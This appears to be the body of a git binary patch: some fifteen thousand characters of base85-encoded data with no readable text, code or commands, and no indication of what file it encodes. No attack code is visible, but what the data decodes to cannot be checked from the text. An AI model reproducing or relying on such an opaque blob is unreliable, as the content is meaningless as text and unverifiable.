z&1#LRX;=Pd^%(Gsq+IEiD@4E`)5mzpZ`g}A>^Uso^Aa8bjK4ClL|I9%v+-ieSF>+p
z_s_Dy%>nJt8qj^uigzi;Hr=wKThIyP`7PwiIP<^+YLvVRgd|cER`QeT(Ik_UCu?f4
zKQl^ZhKIfuV(^S9%vXC91QLZHw@^V{wla|(nMy!X-QtLk^2y+RxUZ7-V)_~jYKIt>
z9;E7{*7XULyW%8-7{abH*F`4YWDAjrE@WC_QmU}iCb!H%4>}1!swo<N`#KLKwAnvB
zBfpwIV1H~yGVXdSIjHkE(}Q2u<{gSSa6;LJ^P%geaC~P5-TC&qPU5=|`E5u&QhPya
z2w_qExTPyrbJ7-t8KN6I1ZHY|E-Fn@Z4T}>=DIJi4Sw{`YG`p$Tlj499f7*Cqn%~Y
z&iLjhzr@@8V(lmvX7xjXuV=xlqIVH-uoSPI1d6<WdEuAm2r$DFMoS5h;b3a88?+G-
zTe)={B;yY!gOc4}AuJ47wT=si%)OV#e(T6widE*3&B<?vW~m;Md{XnN<jWxC)Y3#f
zV&U3@4eRwD%=GG?3+R@VMHU_ZDfxjMZZg<a&l#cAuR6M44zX_#OSpLytwqbvwC#n<
z_S<;)h1v!HQl%l-!x)d&lQs{+_ndw!R9<OO*motoe-&B(2|N5RAffUJNZ2z%MWUd9
zfK2OvfN=j4kgx@~ncDpYOVIxdmZ1M1SmLkiCoJ*zO7}N7;b3n|?_q0miD&(ZLEL%y
zK~Ar1H{m2jZs}gryDlo(P&8j?(3Ny=Psu?M6Tz@cF@jjgj2-&EUV`O|N})?>Ic2t6
z@{5w!Y5t_gjM^GH*bQ^UOW+~Lz#5Cn;rlp41W0`o&V@Jl*>%=^_ug|a@){K+0Nln3
z{*#t{>rWOLA_`Y15$&Rk+pC}f|G<|L-G!=!s*Er?x{`BMY5&EWSxU4&Jf0LY5r;KE
zvgz<mRs>+8gvy;9Jw!V<PN6pp|2t}8du)#h=O#QMo@N8e^T&y&3Gx|=#-aYG4l{@<
zD?HaPIg)-f%5XZeM1*qD*!&$A;unYFh&BcPGZY1%pt7(o7lWfg%Ba-`xa@aw<`KyN
zbLb8k-}-ry*LRhm3u}mV$HeuQV=v}_W2T&VQHw+>_1>vrP#HF4xa1+rK}*y+VrN>c
zHhT*}(!yG*UX=kjlptdC0^F~e!^b<47Z1QnS3kdN6_I9!!@3lfHE!@deU~^siFV5;
z@`!ZhZ;kFaY2VJ@gJ;nt;VcNh#GdjY7UR$qK?sg_LljU9=oMyTV)G8|WscEPphGA^
zfSk<*|8(g%EbbK1ck7_o(hE9TN!pG}v-dn)nSOLVDRg(*BuiU4yt&&yEp~STf*RCH
zp6qknEsPD#(F4A5orcG#MDT(X;FXLE^NhBuAK`{k2klUsf)d_<w8@0x;4?F$Gm@b$
zrYDc3)8H9El7>Pl3>w$OSe1iWBht7X0U1q|sq8fKVPxw>yH_1WP!@Pn(V-8{@46l*
z{UXt31o;VR_(O&RIzN_sF9m!$R(_wnXkp<FFCIk9f2W(3zC9U7&yDC+T*_x@fbB>3
zaG%-c_jz3;taK<t_=7h{Y?82W-y-BNn@J;*j~>cD_e|jpUotwMRENOn{E&c+C{+CX
z`tvwHMMTqsnvHN)P$Zy|Az2gIyk!0LecN5KcdN?&dkQVs@%1XkQc=rwE26eDnWUk$
z_@1(#K1hpYy^0}KTZyF0YpAqMo}ZDau<^3n@GiV#yhzYMGKt`*>NjAd$o$n5d{_t{
z=oIVmH2j)S<rkZdR4^9>=Tf|&&`FwsK9sae27w1EY$JMs7VnSzW<~3)U}DZ9AI#<i
zMkmt1s#So#B_OB6=pZ#ktY9!u(-a0$&c}6Pp(Pc^pDtBfQ<Kq9^2%a7s%{81o77D4
z7#p&n1pZhRb&?ZW_b~8WcAhfxC+hRg<VD6q>G8O{C`;}v64#|J+J+p;?I31VZLz5p
z_*U|FE9-iefdPOhMh%^zgufvfGtRCwi6o)TY<Q^Q7vMgoIvyC9^wa8tvA{M$chQHY
z8Tc+n6>}AWh|5SoS5WHPwDltd|MvYuzUh0#{u=@}f`tP^XD!!R&|2`4sHr7&vE5{m
zqKN*O3gThf)G>Fcx}tARZLp+|gj^yB`3<s-0!afv@2TjsH(@NaMA3|jQ>276YVkL#
z9ip5-W%!jSE+(V#JLWNL2Rs7_%4T5dpX~bR0GU9ztpdr}{CUx&qU>y(iJV23d0G5~
z6T?V)C=xLNuU`sCUc#d10eD5*TM)QRs!r#I(pXv0EIeiTWm^+b&Bqvs%l_2ySZ##w
z2vrW!q;~JBjz*v#ahw5lA-{mA{D>SsT&HJBH@&BlzKzR@8nwApros63todu0^o8=p
zaJB4i2M^C3Fe1{^JTD=GS+-t5!kd+B_K)&sZ`@*jGCQo_Xl*0Z+oFqeJ_!d)N7ZMr
zAno$l8;o7*Qk2LZ+uf%TI%)1;_~_o0w=(^yL!?A05I~Dq%NJRErjccH+_6CsyXW>F
zUF(p|2Z^Zo1^$V$o;p8uxi|l^`ra@YM-^uk-cw`@-9k2AroVCq#2WArX(l$HK<+Lg
z)NbH}`er<osYTTI^D#u3KXkUobeFtF3%ou6TJe<U$JYJRw$TB!N8VSMLkjM;5|xCi
z3)3B=3u$_UU@TEQ+uy%N?hRxk@AJmW-?Xw~o@VKNHTYx^O*WE^3*j1B+Mb1~jOEBy
zC6e0bNM@zJP);f{dH=Yo1G&QfDMx02I6QH-${&W^gYV`yrqMleD70l8<IO`<1yG#Z
zU6V8JM{ptQhAQM$)sI`pY41L;i^Ib=z&H3@@Qn14$LMG$aLiy(CtDF4!YxW!VRZlS
zflQI-R3`0^am0sBNhX*#NH?wmt?ud?q--+Fk`b$gcWdQ**pFn*Ta(F`qRyUuLLBX+
zsc>m;AfbXo-P13XI5!Gxot5qP>&&z{!(sDIbUtd|cT&5vA2sV=I{Ezk5TI}?WXW!4
zi+;2+J#IB>%*d~x`z+v04|~E@IQ=Hy^GqWJ4%fDan#|7rIM|(nw>IJre!wdpK}}yK
zn|6ZniJ@#8Q%2<X0*A#rG#3<-CX10FpZSd*ZGk7rvWSs0<Ik?1=A1PNS}AYLz6Cqz
z!@eomxW1?vVkBBBMs|s4CKlY>)4P1;Y&VNbksEiw569H)?fGyQAB+m_kaf;1g%rsX
z)(+R6Yl>a&uC!W9U<KVUC%7`GQS_FbV5R)4HQ(O8N+N)S`H^x~Z;CaJ)6STcqp}=g
zDCgX^Ie@J$cY8XUtDBRXNz_=kZ9AOD;EN|TT}1?u)3;iNA=`|e8ge|VRnBnc#`{bx
z3^;SsBM8L4JxLE*S&NRJ9JGm<LB@vKILU>wY2lRU<?NWevT-pg*Ikq1puOmB#xWpe
zr3yktD&%sKq0lIqG~$eRJ1`-!OvL5)&d6r2zE(Wqd!P_|y2ok}pD-}1j_$=2HKr)9
z+T==-p=viOdcmdds_|GIV+IuMr@;7#nBfn@WrCz$!C)IvmZLJ1ujWg)0g$(|ifLgm
z8<<&ZxV8E#Q;tz|laOc#J^cJ$OOi*ZrE)Fw@miZ2?+D~IbB*8Ku+0_Ys5%|-mJ;_3
z3D&}^WaMPoqC31rx5h8|Yg<sn>ZYnQ#wOV&T{;)F!>!GWNOd(ces687>QYpPj`a4t
zp{oLVY0K|kqsgrX3(wyIdT@P+bznpG?UbdWA#d%HH+TF@wD|mK!=bP<UoP8T>8s%o
z7^nXzUASB#<P!xKYVE8Lm$up@k7eFG6SxP7)t#+JJpAB)fJ$WBvB!gDicUxA&?4r=
z6}!?c;Bujy!fEK(6gC|gQB75%l+d+gf_N%Q93&KZIe@=WI{D3aM9yBNzD2xhoOqvG
zN{qhrdqlUtH%d5jy?B6J6r<<f*!L}30ys|`!yIl@s+9Xm520JBOS98V8*!DIQ-vdy
zYuobwarRC@x;M+ZZ=0iSkG5^ww!25$wr$(CZH%^U+qQA~n`^JV=Zq6^cARzbRz%g+
zKkB{6tS2*{A3=M@VR+8lyX2}0l7Id0`FlIFx>hx)LoQ1bagHcDbh+_<&{Rhu6l+HY
zuDr8VgJM^pdF1H;SkR~i&ooM>O<y{pZV!ekn<OUA9#1Yj<9HfHZRA|zTZItl$MMC(
z0+p@+h3M{8@xiv{213}YU*~5?unw1FQ;ameJH0o$#LJc30DgPUi;aKOg{mkpCYNd8
z%D4$Z<_|{`mXNkjU`=IoS|P0N;1o@f6UN080VAYJFmNwGXCc_hM@FS2c_%FRbRudc
zTkXGU)Cc&q7vujFqfllzBc+$e%}{IuX;rJq9VeAXXwgpg3+zseH6Be$H7%yS{jO_O
zf9gW}U`osbztS2jG_jH;3}{fTXMX(cAlN_CAZnzNo{lex4iUr7*3?`@{#1wKu}?;x
zCemCiAgMWy+SjC>?oia_iRncF`M#eh+WM+cgliGa`{s$SdejUnjkqiG<a+|-at4&O
z3J8vtSlC#r%ryu=fm9DTNsy(emM^ks&^C5AQNC6O(Gcq9Dr>Q&MIEy$!5J*ogcP?j
z4%KTMph2h@>W_p7B><iOAcQDgiQM%2HIrb965mx|cI%!Zp-ymL+AEb9LsjbUX%ADD
zM_Y*Ad!{>qQN!0gh6eIAOR%%#y|Ph!?||Ooy%V!p^y&?BH7+z&jeWdlXzq%f*iFV~
zg}QZj$m$_zvnoEX91<w*P*Rr(<7<#a^pc*upahG{$JOnl`0>SoZdQuPuuTm|2(Ob4
zp3A!IpCIdBT%v~5#FQe=U4w7E_<g>2Vza#g;ON)PX>oSm6BqA{dN;w=E_LKoC`V-T
z93&G=uCeF7CJ^sjdfoc7JA<(95%D3GB}9RcBDopF#ZV*&cs(PXK!i}y!e3!SZ-hE#
zlnd3?o{=f3<5c)Pj+<Eu8Q&*%I4C&iodgh{iGYiQ??nXd<RO;+jF3T8xggBIG}{?#
z_V(Hd3>)_@SgLlqP>TTCDBqNPSbA2!{q9(z>O36oT|hZ(gyr64uV-l9be3Ogw@zne
zMVw|K4yp@nJ~e+gA$MZh#Ejw3AG$V`W%O$T(Dtv7(yf=d?PO{C>;PR4R_h#3sK~e#
zFgzUpacn)-mo%|C9+%j=O;3vusT<I@oK48Yn0Smlyl6aWj_34I8{(zf$4kDQ*Bp{H
z3S^mfQ_lV*yQjIVx(eZ#c8(!av**b>D-zzw8t_86%^ej`STbZUz1GIn<{_nV{9(nr
zTCk=6CF>b-ct$R{jFE10F-mw`e0YIppzfI_1oqNZ7l+Wn3z%W_AARQL!G=%M^ZFwA
zOHtPW@NLNNP+oi7clifhlv!%cTxR0&jr>Mwrs2pTT%D&h%0KsG{0gn97)t~^9-s9J
z1@^A2ImRDBI#`NX^3eOW*RO-7{0R@6SDPj0FdKz7GKE@~1*^F;Yu=3ab`(ajGZ%qa
z?5?j37dohXl}d%ez=W&qlAdl?so_c0rh2;DyezKOXMH-@o9=-3=4Mcpbn_}>zlKjR
z854QdC_Jls+y<;IW|}BDSf#gWE`cLLb>Rp6j?|<^ZQ!YC^kgpabq42X%L)+0Xw&m@
zq?f86qWH2GK{?+HeKhH$!^i#IJ%MfRkl~)!tEECDc^So93m8S`K8T9yMIOx_!r3b|
z#~k>pJY$ePDZvx3ys&s>2GRiN2!j>|SmU{RDq<CyQ!x%Dx7@CEIF~9NN=7s?_(X7L
zFfE+N`?_)#2S#{CX%gqfm?OHZb^Jh0LQQ^y4>ck@*DDX-)DrLGbUQ>eOXqkSoIDQ!
zkA&74$YIB@#EZ@A>5|rG>-`FEI{}WXH)J_?ej7aruM3W!#LjgB?N!dvcGltLBtZr_
z&O#_}gjrE)t8Rw(L~<^@rLuuEJNQVvaW6r(<28nQgPMng_0Ix!1F$lJ0}3qCs4fyC
zfP?lPy?573JF-85XRNHG9G%>oW>89pN0RK*Yp(3&_eTj#L>0=Z|13UBoh(7^(yKLi
z@qTOl^fLWqJ|w-#CsL<Jm=e2@tp~wV5)Wbq+oqmm&)<@Me4e?Gh`0RyOvdg%xdJCt
zGbsUp@CL~-r`-<X(slTV*DT<d<qBkK{+enmb(NPoGQh>iLIO;5Aw_$r3}b5N9jMZ7
z<N8&mQE(j?vQXPv4h-g_CN9(6%rQ2LzvX;;aa5?fH;rM$DqJJ!hpS?#ZXl(M3qd-N
z`n6_j4Kw;sX<l*Hgi4Q+>ZTS)`6W|?E3cTDLtV{1pUF4$(+%3LG2Nk-j2QDhEy}XF
zYJwH07&PbB4*(6_ld#UC)JAGt7wPGDUfdO6V!JkUz=;N|l9vFAlnhpsN!9P!ww?~w
z8f=)Yh-Ly$In>)p^O}Vp!y@EZRX{y=%Yz*~F$=*!Vpf*K0jjiMLOnQ2U@35G@WoV>
z@Eoi0d~a*DwHn4`L>C53r^t9kY?n5Osjwwg%4Xm*7Tp5a)h_djWe-!LEu0ylc}~@M
z1jxEUrP0Twn{v~;VN5BRKDi$q2~ouNYs<m`PK@y*q(O3mTTs~dFeXGsYXzVz-()P_
zBWS<=#S!^;dFB5IFaH2Dd_=<y9ez4Ns(xA=|L<NK|MV$Y8~)HCfBJVFY%GoV|JVM%
zn%OTkAziT-f2Qi1hAW2%J*YMNEXG~whs5e(byq}Cfy9%eYH1wNiQ-dluf#MO(pM*@
zG?H;hiDLQYiovbSa7+>H*;O^yLDUBVXA)SX#n&ICu2}*}ti%;Cp{Vgc|FSkzBy}bS
z9u$7Q9p1Mv+H7?`^Lk(Vbg|y0=zM?7131qGP)OV`+r3ukcYid6bKbJ%Kep`Mx!`|%
zGJF7k$q(}Go>OEGvnqA^`l#5kc9-pF4tjp4z<(+C{w;&pAB69wzS>4`_*=0D|E0~<
zO+@pJ@9HVrJ5E91DzEjW_|Qop)<psKk<$9%0#Os@wyk>89v<}qs7O#Mq*NFm^WoWB
z0R<XPE*2gx0Y$D<8C#w&0>3FR9xh&hc<bIKK&fQeACXU5IU|v@NUdy|Bv2u!RIJaM
zRN;tHg^(f^x)lE24zFC=m|d-68XzE#(lWygWu<hgu~s<aguganJM;MCVO=W0RDrUF
zn2(ucUM5rIUPfZ2Y=&ipR^vj}sK~XEJ41u=*{GSvE$|l&rCmM`%zw!`J$N&HVcv{T
zn#`hUqA`hy!$}d3{^HYpqV58+kD;bX*2S?eygRJXAkxVslV_Oap-xLS!^*@XF<FWL
zgVi$V3DN(vom-zxs-(nVhtFeqxB6&`MZj!W{xel4XJInVJv)U?)YUQ!zIRsoI5v9%
z9p5v_WOHd_aoM}|rwCLNLk?$BbaqyI5$DcbG%OPJR>;iIhdkhQJo}bvg!MsUlu9Mo
zRifPR+*y{JJmK-$-TXNTjPn`tp5X!4_=se!Lj|s?M}lE`iF=|ip{b?KC_^x+IH@+&
z3^QN0jAKECP+^nY;yh2Uh6|Xw4~S|hl?quBR$6$cP<w<>EtpfwFy&eBL>do!uT`4g
zc~W-K?(uSoqd_3yGRc^8izySi@VufjR+|;pr5pnBr9x?4yX!<GRY1w;JW%`oNGL9d
zo`f==5aP&*pWP+%mofd%{Z@k*znkz!G0#w-zc?g?-hE%sF-AY)&Z~(lbT1gs(Vm2<
z)>t`wUl>9{NE1#B203Xj1%hd4zxo&`13s7cITmP+91qfNm=fyYYv<r#;jBYYpz^i}
zU6kQoU}|@ZxY&jnTY*ZaXbXmwNB}6+l>xOQsR5Qy2HH7D%JJ*>k4!bJ21F_vexr4W
z0)v`T-IwoPj(Qz4XdP%M&^K6VIEQ&0Y;hAPN6@u>PI>C^u)>|?E`eDlC3?m~XoN)%
zMkeE`r#C{i>i_kOAMs!;MM`gsEm4R><=$YX5q&inbjKw#e{xe;qpjYro=&L+H9Rvj
zg9r~fgj7i`dY|GgBy!^;`B||^RyU2l#3)YsuK(A_#Z~<33Y6vx(J)nw;!bj>Dt)L`
zwHQ%@0!`8^K{SBenYo#XDo(<{2ijs$Nqx{o;JnY@hazp4_4Ezb?U_t^xruVsy;J#W
zVhI&52kzyy($2Jd;7KH^z!pK#P&$NE=ktUA!#Pcr(rNVU;uJ4VMzseMnzEuEz70jA
z7w)wmA|UA=iY+HtIYm&R!MK)!Avz+SnbWmL%0z*D{HSooc&L)iVKOO6KLtthj8vvJ
z?=Xn0tqfTb83~JnlQ1%_7T+e&>K7^dhlG3=VE$ZmT7PFUmPx`{edediP~`FbV}@DX
z)$&2qW&ImNoqS951fE7RE6Lw&lT>;dQX%O~+?`E~ysJC-@k>qFYERVtw1KnLd=`}m
zedqm+@^F4A<~tT$T&RtKcaN>*dvBdSvmZHKH+QRwqR|Yt*eK$0hk44nIRg!E)_z@8
zIc6}@(S81@O0xvdIW#1H|E^wIt2tsEHXoRGtMF*-X0U#p1o|a^pL6gK%x;yKrUNo!
zifY{zUofh!&?6DxN9woT7ARxJ)7#%uiia~#eu!r&?Gs(#p)?r&rK9V-zt{j$gES=6
zsz=W*cTvD?U)fn|EP9X@_gC2(J{d#YV1f>(&g1Y|o&8lfylUx`$3C%Z5!{z4wU&u1
zSd^K_HW9B(ydS;g#JD}Ewro5+yupu5G}a)j6(I&z)7deZ1d7>WL7)oia=tX`iPDj;
zK(kCcZ++l1R|IE4e5I)sbg2|t6p~ZZNq$b0(Tvc2z+R-_s+p`j<F-`uM1<O**)Xue
zxT8{)2VyX1pXvYwcB@k(s=Z9KpIgk_k@GQpm?!GZjIW>2HF2h~@lLcr(6J;qW~Ts?
zK`L<+E_@u`FZEe_VZ3OKK>YwmKitSOAs8W&;=x!)+dV=cgt<LqWoyYWA-i_WvtRin
zRD?b}V$_nkqJG~!aMTd#_)8dy^;}B%23^Hehz@&^jQ_SMehOy_%Dezu=BSuNQQKlp
z0?Vrak`QAWTmWJiti=p}5wPUL4A?@JBnp9hRMUQV1gnlGhL7oLO>^OfOc=DqgN@%j
zkqC8*D56S1LL;S{G_GBmbsjQG!7)~@pJNfG0l3geZ5N>L`s_+9)y{%zbK){>{8c5&
za_`Q5u<~OvuT(CnFisFdz}3AGixiooc$Uqs7dflOcsG;gFp6YOezyYBZfP=iz#^Z1
z*&{@K<z!S5Q+g&0V+DoE(iK4_8*yL=@w5?O93v?%)IpA^=4$SwF!u-g2|3_2=1X3_
zTx!s^mn!3*5@HlO#904)KpwPJJWKB0A#go&gWTQY6e02q^~@!HO{B%?(!0P>zHSz^
zCH#y~eG=DI8~F~Y49%l)46}$b;vUEyF*y*Jk*pLvQQOT^b5h|(_(-u!$$LOyWqJ~#
zOo>uXAViIHal&JpTcv6VLL*rgkaK`*(a$B=`oUtU`NQ9aO4^>Ve&5(@&w)7ea15EH
zYcL_NFve~+^l+KfEI`XAX?~cGZ&FL{(4JAaFcG<`%YDfdZK3*o;~_M#)B%u$&o9DG
z!ZYIphx7(zt(e^Tc!G6tZgbAH!96ogc@a&zKw~P&<VDaxpvQ2NzhJ?#4;~0?_qr}q
zT56eNp)pcdztz-Uzmr^{CVR|d*B!Dy)(L&;4L$~nx~wj=Gs($YUTT>oSsp%?*QWDs
z=-b*=e}n2%Cqql+ovooq15TVtgKT4bJOeuHtBz-t;<~f9<W6FMf+Rj>yJ1Ldt96A!
z&=wtDiI0p<!xM3s67?SGI3ZJb5Emlr{+1ryckOo6J~rNkw6d&a%pC#+Uh?tr`@DN&
zc6dTU8P{utO6P##0krO{Ev4FLp?T<VGzDF&?`S#U+suw8h0HU)o+|E2#^W&kK`ENC
zNNNdMbTzP-+y{`pvVYE~o<_#Lzv8?)gVfUyt}2;ve(A%Z0w>8uo1xPD3K*B9!Fvj@
zvc@d3Wjvj72rK;D<mToh|7?zCO3rRy%vfkbE!1N4`f$H}l0DBEu=P+S>2?l1L}%Py
z!-=N6#LDjJ4DBLI-sY%%aM+czSH*3=uTOyA3VB_O*vU`b&B($pcC^z*<3YWa%}@RW
zuy0cG*Gb@JM4_)0S#K7Af9MW`{_la;G6=9GeYWd1$nuo|dygu%tXP+=^!qNQO!*rx
z_811e-VkJ7F9`fE@I+;svNCGu7ea{vAHc6Ou^UK`sat5gEeg`GhM11mY6E8IKlh3?
zoCs!YzLrLXzw@1b?N5j_MjHrBQTIb;2I@9%1uH^~B*T-FY1#~P=I-cNTd-qZ8)9DX
zJ-G*ohqMt+9P~+%O%U~Qu}{qRwaS`%^M>DAcZNVV=rsE0gtz@Ic~Y-ri}_P_M<gJe
z+pst-kS1{38|njfR{e*l=h>(uG2KMo6StdD&b&C6Iglpbu(sJ<l1K^lL0LAhR4Od+
z1ZdhM-5YY$Sp1ufSDKEhTB<_5j=6FKOy$5G)rU2LHrG9YG9nPPp7;;`s=F^gWjr-t
zj%+jTLGsVHk5>WAuLnQVU;b9CioYS3;w0FGKJ;56<OlZl_aVLsNxC+Gk+1O2Nn{i8
z|G-7;2Y(@@^NRJkKHPpU(xQpy4a!MQ7J0$whF0=f5=N=HPasJCvM+6?qu~Yikv2*D
zW>QH3mFXZ<btUBfV=?w&1PEzaYfMtTXxZCG^Z7!z|As#PBtP_M5P42o3uz)3BC8L_
z69ncdqVG{bDG$58h27kRm_x8SroTRpnG?VAw1+?a%Y!(-mkZnD-c|_#f^x8hF8EO0
zV8Wkm=$R@M&P^l@?qGTn=<fIyI(wb{g9zOU#a2tm^#({KIax-3(XBFDXq9M;)J~bX
zPWUbGwd&S^5?ZlaG}}mQDlhxmS>~k*7x{VW1mO(g7MSRB1m#8#bsz0kGFvW#SViiM
zfPiXdO}x?r452rkXgrsQ<#dueOYsUAu}Ji$RP@-TRh7+Yx*aOHE5G-eT#Y;Iu~NU)
z8d0?-V*qTmbVtODsp6Hn`Uu8PY=?jaR^%g&?-EqY12?1CcGL3kZ*TLr^u=IH;hi*%
zEbUmEj^o%pRNb5~JKV!<r{?YW%kTAG9atv3cpjGZ2v5Z7BySAkdP**s%@Fm&VS5T$
zH;NW2r9)84S1Z&f&eB1b`$Wr8^3{07dg2m8NtsbF+0iv1iDoLL(U{tA6iDI-TtnIY
zSlNt{S~tXHm&Mu=AE5Q6ERh!i3h?QIGobS6ot?FLvcI9!mdnhM{8c$g6`TQC$MVx#
zoZRje*j?W44=lJ{n^-tpF*rbjSpfuin=?DS0Z}l&maj5fF7&i4UWdg*fY5CB(Mo21
z|IQlNnkS0_k-+*)Xgvj%OEsX|<JDYa3d+FpkIVgrZZ(=wUE5#{O9m6JmuszYnnAmD
z*zPu&nZTZA0TEtV(_MQYf_-7TvUK8H6CSq8Hwajtm0v@Kl*w~I)K)yn7Mf0I-Gnn9
z>7l$h*<T4Fy>a4-VR7?Gvx>Pc+{s0|g}uE4*xsM5v7h<^#HQ$DtC<Bsz$L-M#pj(;
z1dx@Z&n7_8EjDt^{u$&Yb`6ubWuP9WZ1n$7l7I>-OI4X`YLvj7_{;=Hw3NV02&VIU
zd|?}&1<2mxvJWOSgV#Ocx+C{YZ~NO*e2d|k{I0XRRI{UsU>I%jQ)hu}D43jE`K<}p
zW;{&IIz-Xv7Z4j-2j@`h(8k?&dyhTkVXQh;pj91n-0B_O7LKkNa#-_28YLYA-n~Nw
zP1uB@=?t!Dd&FEKPo=0w=2|V-x&P>BmBF+Mqcy4Rb5*wcb&5&R+<@LUB)Hg37n0oF
zFqi6pA6Y#Xk&MqZsei1$KQ9%2Bh1yW%3q#+t*@5*<^VBKe1FBo0oVcy6>@XlHi~iw
zL&_4p)zE(;gZqkw&ASoD{VPRRqO&?bxnYk=W`&$xxx?TlBl|hzM)RL#{bynOsDBRW
z72ayVeSEg7A>-@IABnKtivl5pGD&a%ZEGErU{hTVO3Tswe=WBiIs!2J&z<cwk+h@j
zGL7CjXxhjbKEB6XZJ5NML#G69;Ot#6T+!0lint-y1h91p+qY~gIpe!WL;c)p!B}<i
z1{vGX3c9^`WAAvQfsM(c-}HaS3vZP_#4&xsc_sI!Z_xx_B!7*zqV?q}Q3iTDM|b@G
zs{R|;gzD3v>(45fH29?X`%9J&5?1h|#2@kGJ^U0_=eGZA@B3fQME@>f{HM6l13YxQ
z{)4QE{Xt&-Ou7L4e^0mkZ*jxk$i?2w(deJ~784`;f1I48jGT=u75?j3&c@Qr!0o>j
zk1ADlRb)~0E^f{K86bjEctivk4C5a80IX6-#IQhRK6qwHMr6VL8OGBq{?YDKFK$vB
zw+X>J33~!luHghyyt^ZVFL512hYBn(kyyYO@b>bzit?H(m%l~sUvJkj9RM0PUE#ZQ
z$XXBvAO(7*tz@DG#I1qj6xCv*6@x!O!;o9B2Ri2w&<=W?iLgLR5{ch*<R%IBOvEmj
z6vfJgeWgMgEEubuWqk^Iln^CzqlL9^4;Xp5`6e1Ui~Ho8QbQrw<8%pDP#=u$BK&Er
zNluYUovPDvI$VZC(wn0i8?HP)PlmE<5<`!X*{O(jZUD@q-9{W+gvP?<RWl!EXUmAm
zGdT3IG8kd(pu9p${v98t++mHxTwI&_)<UvIgTB^kR#BkNCuxy%q=6_c1I**LLY<_d
zF%gzCNFKQm3^Q@r@bNhP$X=^yc6u=9`{XHOjsmh#C&~ERDS>N?%4*2iYYd*Chm>EK
zwF8BA+U;@#3HJ}jyHyVPzYW7Jy5`0?@8zeBlH+W!>>mb{tL?Ux*(flT4Z})Q*%VL1
z05=H;M8zN$1Jvi~jR!*Yu(UR;)6GO(A{$5BU<mq!Q^Yb7L>RKgjo1x_!8f`UW!cOm
z=d^QbI9$xPFiP-_Bb`I=nX{chWFe;{ti>XR9}V((G7uU291V$Fj@!D($gx>dksB+K
z7O(<KQ?MgB=B1Zs#QT{t=b@fz3XbwTt+01lOvZlmcFD4VlR#&Gft>jb)X)Gb(4mw6
z0mjeCO1eOkc-atW*B<fnmp)gK(=TaI5ukEwsIEN@Pc@UQ5KOLZASan)Qgj_zoHrZM
zTJJ#E1}Cb6isq6Ly8Bp*azxVcM`0b+a-htpydds_Hc*FF1FQUaB*t)GKgG*Ig&dyd
zl#;LY8oWPt^a$Ttwnc29s5WbjW``l2Dc_}@sPi;+#kwXt@%FzZgX1jP(}ua;^;#l_
z!P^le{}2;|$)1yoC{gyT+zlSMgXBr_<(a=>@0Pon82VDYE%M*T3Sc&7Acw3qa%Y!%
z${EEhgH#t;*bqBskk)f5bX-Sm7J5z!uDOj0wz<WzIFsOTTc`)JipvlA(D<_TpG$JX
zknj<0H;f)^arK~!R-Yo1m%}jAx_;+R?m(!?ePdK#v-foBy7^_PNol4<snOgIy1S*c
zfPsE-jW^}hUYQ<$dRj;ui%}ui(pHaO?>yNa`iU?q)PGbCke2x9xu~kN;_NtHCkkUC
z!N2H^@`Y$qKSFZWnUk(+i)MJdqavutZ+Rb-n25aEmT^7?hQ<97L~&ifD7>_1$DW9G
zu(a5yN6Q=Jaxd79$)hyVXku0#n<l%;i2Ys*4v1V3O$l6Da=_z}^f~U58##DI)3=Ou
zZqe<*w8M*838ez+Eg<Nid}C`-TE@``@J$V3h-c`7h0iNu1CpeR`{4zCrq*co(_x{6
z(!<ltiD2jfq}O=Y%7Sg+6Yld)9%V0$<GicR^qUB7*nvigJv=w=Prnuhu_c~<qB;90
zu0%Rnncp>_4``qgQw3Wt!BjFc`nT;f{}kGLX?^C{m|bWMJ_Xyvmm5!qr>EJj!@!Wd
z^Kj>`U3L$Y^k;lBVQhtO{D}>j4&Mu^#F6&b6SW!enzka74F*gi*hoPDl<rtt;v>4Z
z>bi3GsAfJ@I|MamN0`-YaR%9E62ae!I{!d`;}z#w&YE20&FUu(8!VZ9(3EV3<&tpD
z^2vhX1TpvIi5mQ14W8_E-Gg}NO!fLJo<)i4hhggisb21j8?f2!IxE0KUIO%t5<^bj
zG%^aS_9!U4uYu_9BM&lj>o@hOZT>?wO9bUf=#@5K?JB>s9?z+4cVzL$$bP^*oP&3G
zJD7wWXd)A2?$(pF<-OjK)#Vu2PNC9A(;;=o_N5CwIY$K>xEzN}m{vf!F+QcQBvlQx
z?<AumPSd&^5Q&Tq?d4@TZ8+AZ)f3^INkTBo%;6nk0S0zj9~YH5K}NE#e>q?Ld;Iv%
z$YSba+y?w(3~>4L`@fsQ{GZ5TV`=%%Oyz&O!zkIC{S#t-j{YO6$oEPB)5Ck2wRE&s
zt9T%DxhldP&1LAv`4dnPsJTxU(`O;F5^q9%Qpx&*^Y+9bny7X`K>35{+--HHi8IvL
zOw$6qofMfGQ1Y|(I{V}Jy(CJMPl2p~hZy*oo{;|3LKV%bQ=Wq$36<GY+}oDNqLg#f
zeZu9Li-LNTuL6?Hs~;A`j;o61mOOk&n&5&79Ta7xVtYANho>ThQ4*^~{3@CKim<N5
zYGgp>H2?lu(~{HnxhCDemEtb_g);z@^1YzN_oZ`6NngUrsCD}0AHe(cwZ*t58UfzN
zJ35ch`63(%$+&8p>+k?_I}(DrguXAbG00)?q{kN?MZ#^Nm2v&g%=N$D@qgYvYUtZ3
z<&Wc_9Wnrb%>R$L{=aVj2gYS)WBtGXgdYn+Q~rM){dZ7*bwOH2`5H=QzI*Wt!WPWj
z`Mp6B2g>g!07*ZCX%lBa#R{ZoJMTypb6H0m#efM&QzZQyeB~&eP<)zB(<p9AB{VnV
zCHd^Nz3lMD%hct<6n}WTVq5AnlktAl@!l~$-|+pzT=LC&Y4NwJ#k7NlieigKf|Ajf
z>7}#_x2xGZZ1h*%XYSk>USGbu;|NM#zP|(0*(%+Uc4frtB=&vJum!VGzG3O)_H`k1
zCEY68*<@P}ectJUqP|wV@%HpB;~ANNBYT0zO}vfuhuha%`ivvt@{eJ7pvS;dodJwU
zkp;OC|MI5r6$O4_3dn)nX#n($?sZ_`q1}f@T#Bx6vl415PDm~@`6-<T8!zmeQ&kz4
z=o@LJfUJ(Fx5rINn$qB*QE}r)nxkehlRTDHnxjZb_f<v6J}0-RZ-z>rnNcsvj+bUH
zR|Qg6TkzI_Gn|d;P@70g#_k!)Mq8fJ*CVwT(5VsHi%mBS5z;Jd;rC~Tm$5T5R}Ib$
zEg)k|Zf7ypCF+?w#?RLyrDHHgIi^o9AVbGQEtJ<snT?<g-6scXr^KbQM6L=%?<W|7
zZBnQOi+_A|xvR81NwQ(7V-6YI)+y6Jlv|!-C+(cmlQ4A)a96;fG3=+iiQ&jvcpi&L
